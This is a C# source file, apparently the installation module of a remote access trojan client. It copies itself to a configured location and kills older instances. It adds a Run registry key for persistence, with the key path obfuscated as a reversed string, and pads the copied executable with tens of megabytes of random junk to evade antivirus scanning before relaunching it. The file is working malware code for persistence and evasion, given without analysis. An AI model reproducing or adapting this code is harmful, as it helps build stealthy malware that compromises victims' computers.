using Client.Helper; using Microsoft.VisualBasic; using Microsoft.Win32; using System; using System.Diagnostics; using System.IO; using System.Security.Principal; using System.Threading; namespace Client.Install { class NormalStartup { public static void Install() { try { string installfullpath = Path.Combine(Environment.ExpandEnvironmentVariables(Settings.InstallFolder), Settings.InstallFile); if (Process.GetCurrentProcess().MainModule.FileName != installfullpath) { for (int i = 0; i < 10; i++) { Thread.Sleep(1000); } foreach (Process P in Process.GetProcesses()) { try { if (P.MainModule.FileName == installfullpath) P.Kill(); } catch { Debug.WriteLine("NormalStartup Error : " + P.ProcessName); } } using (RegistryKey key = Registry.CurrentUser.OpenSubKey(Strings.StrReverse(@"\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), RegistryKeyPermissionCheck.ReadWriteSubTree)) { key.SetValue(Path.GetFileName(installfullpath), "\"" + installfullpath + "\""); } FileStream fs; if (File.Exists(installfullpath)) { File.Delete(installfullpath); Thread.Sleep(1000); } fs = new FileStream(installfullpath, FileMode.CreateNew); byte[] clientExe = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName); fs.Write(clientExe, 0, clientExe.Length); byte[] junk = new byte[new Random().Next(40 * 1024 * 1000, 50 * 1024 * 1000)]; new Random().NextBytes(junk); fs.Write(junk, 0, junk.Length); fs.Dispose(); Process.Start(installfullpath); Methods.ClientExit(); Environment.Exit(0); } } catch (Exception ex) { Debug.WriteLine("Install Failed : " + ex.Message); } } } }